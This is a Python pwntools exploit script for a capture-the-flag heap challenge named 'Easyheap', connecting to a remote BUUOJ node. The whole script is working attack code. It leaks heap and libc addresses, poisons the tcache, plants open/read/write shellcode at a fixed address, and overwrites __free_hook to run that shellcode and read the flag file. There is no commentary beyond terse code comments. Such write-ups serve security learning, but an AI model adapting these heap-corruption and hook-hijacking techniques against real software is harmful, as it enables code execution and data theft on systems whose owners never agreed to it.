1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import * #io = process('./Easyheap') io = remote('node4.buuoj.cn',29538) elf = ELF('./Easyheap') libc = ELF('./libc-2.27.so') context.arch = 'amd64' context.terminal = ['tmux','split','-h'] context.log_level = 'debug'
def add(a1,a2): io.sendlineafter('>> :\n','1') io.sendlineafter('Size: \n',str(a1)) io.sendafter('Content: \n',a2)
def dele(a1): io.sendlineafter('>> :\n','2') io.sendlineafter('Index:\n',str(a1))
def show(a1): io.sendlineafter('>> :\n','3') io.sendlineafter('Index:\n',str(a1))
def edit(a1,a2): io.sendlineafter('>> :\n','4') io.sendlineafter('Index:\n',str(a1)) io.sendafter('Content:\n',a2)
def exp(): add(0x500,'a'*0x10)#0 add(0x500,'b'*0x80)#1 add(0x500,'c'*0x80)#2 add(0x500,'d'*0x10)#3 add(0x500,'e'*0x80)#4 add(0x500,'f'*0x80)#5 add(0x500,'g'*0x10)#6 dele(2) dele(1) payload = 'a'*0x20 edit(0,payload) show(0) io.recvuntil('a'*0x20,timeout = 0.5) heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x310 print('heap_base',hex(heap_base)) payload = 'a'*0x10 + p64(0) + p64(0x91) + p64(heap_base+0x10) edit(0,payload) add(0x500,'b'*0x80)#1 edit(1,'./flag\x00\x00') #pause() add(0x500,'c'*0x80)#2 tcache edit(2,'\x00'*7+'\x07'+'\x00'*0x78) dele(4) edit(3,'a'*0x20) show(3) io.recvuntil('a'*0x20,timeout = 0.5) malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 - 0x10 libc_base = malloc_hook - libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) edit(3,'a'*0x10+p64(0)+p64(0x91)) edit(2,'\x00'*0x8)
add(0x500,'e'*0x80)#4 dele(5) dele(4) edit(3,'a'*0x10+p64(0)+p64(0x91)+p64(0x23330000)) add(0x500,'e'*0x80)#4 add(0x500,'e'*0x80)#5 0x23330000 #open('./flag',0) payload = ''' mov rax,2; ''' payload += 'mov rdi,'+hex(heap_base+0x280)+';' payload +=''' xor rsi,rsi; syscall; ''' payload = asm(payload) #read(fd,addr,0x20) payload1 = ''' mov rdi,rax; xor rax,rax; ''' payload1 += 'mov rsi,'+hex((heap_base+0x260))+';push 0x30; pop rdx;syscall;' payload1 = asm(payload1) #write(1,addr,0x20) payload2 = 'mov rsi,'+hex(heap_base+0x260)+';push 0x30; pop rdx;mov rdi,1;push 1;pop rax;syscall' payload2 = asm(payload2) print(len(payload+payload1+payload2)) edit(5,payload+payload1+payload2)
#pause() add(0x500,'a'*0x30)#7 add(0x500,'a'*0x30)#8 dele(8) dele(7) free_hook = libc_base + libc.symbols['__free_hook'] payload = 'a'*0x10+p64(0)+p64(0x41)+p64(free_hook) edit(6,payload) #pause() add(0x500,'a'*0x30)#7 #pause() add(0x500,'a'*0x30)#8 free_hook edit(8,p64(0x23330000)) # gdb.attach(io) dele(7) io.recvuntil('}') #io.interactive()
exp()
|